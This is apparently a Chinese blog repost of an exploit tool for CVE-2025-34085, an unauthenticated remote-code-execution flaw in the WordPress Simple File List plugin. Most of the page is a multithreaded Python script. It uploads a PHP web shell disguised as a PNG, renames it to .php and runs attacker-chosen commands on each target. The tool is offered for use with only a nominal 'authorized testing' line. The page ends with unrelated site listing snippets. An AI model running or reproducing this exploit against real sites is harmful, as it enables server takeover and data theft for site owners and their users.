news 2026/4/13 4:30:04

CVE-2025-34085 WordPress插件未授权远程代码执行漏洞利用工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-34085 WordPress插件未授权远程代码执行漏洞利用工具

CVE-2025-34085 — Simple File List WordPress Plugin RCE 利用工具

项目描述

本项目是一个针对 WordPress 插件 Simple File List 中严重安全漏洞 CVE-2025-34085 的利用工具。该漏洞被评定为严重级别(CVSS 10.0),属于未授权远程代码执行(Unauthenticated RCE)类型,影响 4.2.3 版本之前的所有插件版本。攻击者无需任何认证即可利用此漏洞,通过上传伪装成图片的恶意 PHP 文件并重命名为.php扩展名,最终在目标服务器上执行任意代码。

本工具自动化完成了漏洞利用的全过程,并采用多线程设计以提高效率,旨在用于授权的安全测试与教育研究。

功能特性

  • 自动化漏洞利用:全自动执行漏洞利用步骤,包括构造请求、上传文件、重命名文件和执行命令。
  • 多线程支持:通过配置THREADS参数,支持并发测试多个目标或处理多个请求,提升效率。
  • 命令执行与验证:允许用户指定要在目标服务器上执行的系统命令,并可设置EXPECTED_SUBSTRING来验证命令执行结果。
  • 用户友好交互:提供彩色终端输出,清晰展示利用进度和结果。
  • 高度可配置:用户可自定义并发线程数、请求头、上传路径、重命名路径及WebShell存放路径等参数。

安装指南

环境要求

  • Python 3.x
  • 所需第三方库:requests,colorama

依赖安装

可以使用pip安装所需的 Python 包:

pipinstallrequests colorama

或者,您可以通过创建一个requirements.txt文件(内容如下)并使用pip安装:

requests>=2.25.1 colorama>=0.4.4

安装命令:

pipinstall-r requirements.txt

使用说明

基本用法

工具通过命令行参数指定目标。基础使用示例如下:

python3 CVE-2025-34085.py -u https://target-site.com/ --cmdid

命令行参数

工具支持以下参数:

  • -u URL, --url URL:指定目标网站的 URL(必需)。
  • --cmd COMMAND:指定要在目标服务器上执行的系统命令(例如id,whoami)。

配置说明

您可以直接修改脚本开头的全局变量来自定义行为:

# 全局配置EXPECTED_SUBSTRING=None# 用于验证命令输出的字符串,如 `uid=`。设置为 `None` 则接受任何输出。THREADS=20# 并发线程数HEADERS={# HTTP 请求头"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","Accept":"*/*"}UPLOAD_PATH="/wp-content/plugins/simple-file-list/ee-upload-engine.php"# 上传端点RENAME_PATH="/wp-content/plugins/simple-file-list/ee-file-engine.php"# 重命名端点SHELL_PATH="/wp-content/uploads/simple-file-list/"# WebShell 存放路径

核心代码

以下是项目中的关键代码片段及详细注释:

1. 主函数与初始化部分

#!/usr/bin/env python3importrequestsimporthashlibimporttimeimportrandomimportstringimportuuidimportargparsefromurllib.parseimporturljoinfromconcurrent.futuresimportThreadPoolExecutorfromcoloramaimportFore,Style,init# 初始化 colorama 以支持彩色输出init(autoreset=True)# 全局配置EXPECTED_SUBSTRING=None# 用于验证命令输出的字符串,设置为 None 则接受任何输出THREADS=20# 并发线程数HEADERS={# HTTP 请求头,伪装成浏览器"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)","Accept":"*/*"}UPLOAD_PATH="/wp-content/plugins/simple-file-list/ee-upload-engine.php"# 文件上传端点路径RENAME_PATH="/wp-content/plugins/simple-file-list/ee-file-engine.php"# 文件重命名端点路径SHELL_PATH="/wp-content/uploads/simple-file-list/"# 上传文件最终存储路径

2. 横幅与辅助函数

defbanner():"""打印工具名称和作者信息的彩色横幅。"""print(Fore.RED+Style.BRIGHT+r""" ██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║ ██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║ ██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║ ██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ CVE-2025-34085 — Simple File List WordPress Plugin RCE 📌 Author: Black Ash | B1ack4sh """)print(Fore.RED+"[•] Starting multithreaded exploit...\n")defnormalize_url(domain):"""确保 URL 以正确的协议开头(默认为 http),并移除末尾的斜杠。"""ifnotdomain.startswith("http://")andnotdomain.startswith("https://"):return"http://"+domainreturndomain.rstrip('/')defrand_str(n=8):"""生成指定长度的随机字符串,用于创建唯一的文件名。"""return''.join(random.choices(string.ascii_lowercase+string.digits,k=n))defgenerate_payload(cmd=None,inline=False):""" 生成 PHP 载荷。 Args: cmd (str): 要执行的系统命令。 inline (bool): 如果为 True,生成直接执行命令的代码;否则生成通过 GET 参数接收命令的代码。 Returns: str: 构造好的 PHP 代码字符串。 """ifinline:returnf"system('{cmd}');"return"system($_GET['cmd']);"

3. 漏洞利用主函数

defsend_exploit(target):""" 针对单个目标执行完整的漏洞利用链。 Args: target (str): 目标网站的 URL。 """url=normalize_url(target)filename=rand_str()# 生成随机基础文件名timestamp=str(int(time.time()))# 当前时间戳# 根据时间戳和固定盐值生成 token,模拟插件的安全机制token=hashlib.md5(f'unique_salt{timestamp}'.encode()).hexdigest()# 构造 PHP 载荷内容php_payload=f"<?php{generate_payload()}?>"# 步骤1: 上传伪装成图片的 PHP 文件upload_url=urljoin(url,UPLOAD_PATH)files={'file':(f'{filename}.png',php_payload,'image/png')# 伪装成 PNG 文件}data={'eeSFL_ID':1,'eeSFL_FileUploadDir':'/',# 上传目录'timestamp':timestamp,'token':token}try:# 发送上传请求resp=requests.post(upload_url,files=files,data=data,headers=HEADERS,timeout=30)ifresp.status_code==200and'eeSFL_Success'inresp.text:print(Fore.GREEN+f"[+] Upload successful for{target}")else:print(Fore.YELLOW+f"[-] Upload failed for{target}")returnexceptExceptionase:print(Fore.RED+f"[!] Upload error for{target}:{e}")return# 步骤2: 将上传的文件重命名为 .php 扩展名rename_url=urljoin(url,RENAME_PATH)rename_data={'eeSFL_ID':1,'eeFileOldName':f'{filename}.png',# 原文件名'eeListID':0,'eeFileAction':'rename','eeFileNewName':f'{filename}.php'# 新文件名}try:# 发送重命名请求resp=requests.post(rename_url,data=rename_data,headers=HEADERS,timeout=30)ifresp.status_code==200:print(Fore.GREEN+f"[+] Rename successful for{target}")else:print(Fore.YELLOW+f"[-] Rename failed for{target}")returnexceptExceptionase:print(Fore.RED+f"[!] Rename error for{target}:{e}")return# 步骤3: 访问重命名后的 PHP 文件以执行命令shell_url=urljoin(url,f"{SHELL_PATH}{filename}.php?cmd={command}")try:# 发送 GET 请求执行命令,cmd 参数通过 URL 传递resp=requests.get(shell_url,headers=HEADERS,timeout=30)ifEXPECTED_SUBSTRINGisNoneorEXPECTED_SUBSTRINGinresp.text:print(Fore.CYAN+f"[*] Command output for{target}:")print(resp.text)else:print(Fore.YELLOW+f"[-] Unexpected output from{target}")exceptExceptionase:print(Fore.RED+f"[!] Shell access error for{target}:{e}")

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAPo88U8LVX5sLNTHXXTjqqY
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/12 20:21:03

MGeo与Flink实时计算结合:流式地址消重与聚合

MGeo与Flink实时计算结合&#xff1a;流式地址消重与聚合 引言&#xff1a;中文地址数据的挑战与MGeo的破局之道 在电商、物流、本地生活等业务场景中&#xff0c;用户提交的地址信息往往存在大量非标准化表达。例如&#xff0c;“北京市朝阳区建国路88号”和“北京朝阳建国路8…

作者头像 李华
网站建设 2026/4/8 22:51:02

MGeo模型部署后验证:测试集与评估指标说明

MGeo模型部署后验证&#xff1a;测试集与评估指标说明 背景与应用场景 在地址数据处理、城市计算和地理信息系统的实际工程中&#xff0c;地址相似度匹配是实体对齐的核心任务之一。由于中文地址存在表述多样、缩写习惯差异、层级结构不一致等问题&#xff08;如“北京市朝阳区…

作者头像 李华
网站建设 2026/4/8 19:07:17

Z-Image-Turbo卡牌游戏插画生成适配性分析

Z-Image-Turbo卡牌游戏插画生成适配性分析 引言&#xff1a;AI图像生成在卡牌设计中的新机遇 随着数字卡牌游戏&#xff08;如《炉石传说》《万智牌》《原神七圣召唤》&#xff09;的持续火爆&#xff0c;高质量、风格统一且数量庞大的角色与场景插画成为开发团队的核心需求。传…

作者头像 李华
网站建设 2026/4/5 12:53:28

Neo4j关联分析:将M2FP输出的身体部位存入图数据库

Neo4j关联分析&#xff1a;将M2FP输出的身体部位存入图数据库 &#x1f4d6; 项目背景与技术动因 在智能视觉分析、数字人建模、行为识别等前沿领域&#xff0c;细粒度人体解析&#xff08;Fine-grained Human Parsing&#xff09;正成为关键基础能力。传统的目标检测或粗略分割…

作者头像 李华
网站建设 2026/4/9 2:34:13

Z-Image-Turbo工笔画精细纹理生成能力验证

Z-Image-Turbo工笔画精细纹理生成能力验证 引言&#xff1a;从AI图像生成到工笔画风格的精准还原 随着AIGC技术在视觉创作领域的不断演进&#xff0c;图像生成模型已不再局限于写实摄影或抽象艺术风格的表现。近年来&#xff0c;中国传统工笔画因其细腻的线条、丰富的色彩层次和…

作者头像 李华
网站建设 2026/4/12 0:53:40

游戏NPC形象设计:Z-Image-Turbo快速产出百张概念图

游戏NPC形象设计&#xff1a;Z-Image-Turbo快速产出百张概念图 在游戏开发中&#xff0c;NPC&#xff08;非玩家角色&#xff09;的形象设计是构建世界观与增强沉浸感的关键环节。传统美术流程依赖原画师逐帧绘制&#xff0c;周期长、成本高&#xff0c;难以满足快速迭代的需求…

作者头像 李华